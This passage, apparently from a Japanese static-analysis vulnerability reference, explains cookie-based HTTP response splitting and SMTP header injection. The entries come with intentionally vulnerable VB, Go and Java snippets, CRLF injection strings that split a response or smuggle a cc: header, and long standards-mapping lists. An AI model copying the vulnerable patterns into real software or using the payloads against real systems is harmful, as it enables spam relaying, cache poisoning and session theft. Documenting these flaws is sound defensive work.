[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.scala.header_manipulation_cookies
Abstract
未検証のデータをクッキーに含めると、HTTP Response Header Manipulation 攻撃につながり、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Cookie Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP クッキーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Cookie Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP Cookie に含めます。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

HTTP レスポンスヘッダーでの、Cookie Manipulation 攻撃は、以下のような種類の攻撃にもつながります。

HTTP Response Splitting:
Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコード セグメントは、Web ログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.vb.header_manipulation_cookies
Abstract
未検証のデータを SMTP ヘッダーに含めると、攻撃者は CCBCC などの任意のヘッダーを追加し、それを使用して、メールの内容を自身に漏らしたり、メール サーバーをスパム ボットとして悪用したりできます。
Explanation
SMTP Header Manipulation の脆弱性が発生するのは次の場合です。
1.信頼されていないソース (多くの場合、Web アプリケーションの HTTP リクエスト) からデータがアプリケーションに入り込んだ場合。

2.メール サーバーに送信される SMTP ヘッダーにデータが検証なしで含まれている場合。

多くのソフトウェア セキュリティの脆弱性と同様、SMTP Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを SMTP ヘッダーに追加します。
SMTP Header Manipulation 攻撃の最もよくある手段の 1 つは、スパム電子メールの配布です。アプリケーションに脆弱な [Contact us] (お問い合わせ) フォームが含まれていて、メールの件名と本文を設定できる場合、攻撃者は任意の内容を設定し、メール アドレスのリストを使用して CC ヘッダーを挿入し、匿名で (電子メールは攻撃を受けたサーバーから送信されるため) スパムを送信できます。
例: 次のコード セグメントは、[Contact us] (お問い合わせ) フォームの件名と本文を読み取ります。

func handler(w http.ResponseWriter, r *http.Request) {
subject := r.FormValue("subject")
body := r.FormValue("body")
auth := smtp.PlainAuth("identity", "user@example.com", "password", "mail.example.com")
to := []string{"recipient@example.net"}
msg := []byte("To: " + recipient1 + "\r\n" + subject + "\r\n" + body + "\r\n")
err := smtp.SendMail("mail.example.com:25", auth, "sender@example.org", to, msg)
if err != nil {
log.Fatal(err)
}
}

「Page not working」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、SMTP ヘッダーは次のような形式になります。

...
subject: [Contact us query] Page not working
...

ただし、ヘッダーの値は未検証のユーザー入力から形成されているので、レスポンスがこの形式を維持するのは、subject として送信された値に CR 文字や LF 文字が含まれていない場合のみです。攻撃者が、悪意のある文字列として "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..." などを送信した場合、SMTP ヘッダーは次のような形式になります。

...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...

これにより、攻撃者は効果的にスパム メッセージを作成したり、他の攻撃の中でも匿名の電子メールを送信したりできます。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 93
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[16] Standards Mapping - OWASP Top 10 2010 A1 Injection
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - OWASP Top 10 2017 A1 Injection
[19] Standards Mapping - OWASP Top 10 2021 A03 Injection
[20] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.golang.header_manipulation_smtp
Abstract
未検証のデータを SMTP ヘッダーに追加すると、攻撃者は CCBCC など任意のヘッダーを追加して電子メールの内容を盗み見たり、メール サーバーをスパム ボットとして使用したりできます。
Explanation
SMTP Header Manipulation (SMTP ヘッダー操作) の脆弱性が発生するのは次の場合です。

1.信頼されていないソース (多くは Web アプリケーションの HTTP リクエスト) からデータがアプリケーションに入り込んだ場合。

2.メール サーバーに送信される SMTP ヘッダーにデータが検証せずに追加された場合。

多くのソフトウェア セキュリティの脆弱性と同様、SMTP Header Manipulation (SMTP ヘッダー操作) は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意のあるデータを渡し、アプリケーションがそのデータを SMTP ヘッダーに追加します。

SMTP Header Manipulation (SMTP ヘッダー操作) 攻撃の最もよくある利用法の 1 つは、スパム電子メールの配布です。アプリケーションに脆弱な [Contact us] (お問い合わせ) フォームが含まれていて、メールの件名と本文を設定できる場合、攻撃者は任意の内容を設定し、メール アドレスのリストを使用して CC ヘッダーを挿入し、匿名で (電子メールは攻撃を受けたサーバーから送信されるため) スパムを送信できます。

例: 次のコードセグメントは [Contact us] (お問い合わせ) フォームの件名と本文を読み取ります。


String subject = request.getParameter("subject");
String body = request.getParameter("body");
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress("webform@acme.com"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("support@acme.com"));
message.setSubject("[Contact us query] " + subject);
message.setText(body);
Transport.send(message);


「Page not working」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、SMTP ヘッダーは次のような形式になります。


...
subject: [Contact us query] Page not working
...


ただし、ヘッダーの値は未検証のユーザー入力から形成されているので、レスポンスがこの形式を維持するのは、subject として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が "Congratulations!!You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..." といった悪意のある文字列を送信すると、SMTP ヘッダーは次の形式になります。


...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...


これにより、攻撃者はスパム メッセージを作ったり、匿名電子メールを送信したりするなどの攻撃を行うことができます。
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 93
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[23] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.java.header_manipulation_smtp
Abstract
未検証のデータを SMTP ヘッダーに追加すると、攻撃者は CCBCC など任意のヘッダーを追加して電子メールの内容を盗み見たり、メール サーバーをスパム ボットとして使用したりできます。
Explanation
SMTP Header Manipulation (SMTP ヘッダー操作) の脆弱性が発生するのは次の場合です。

1.信頼されていないソース (多くは Web アプリケーションの HTTP リクエスト) からデータがアプリケーションに入り込んだ場合。

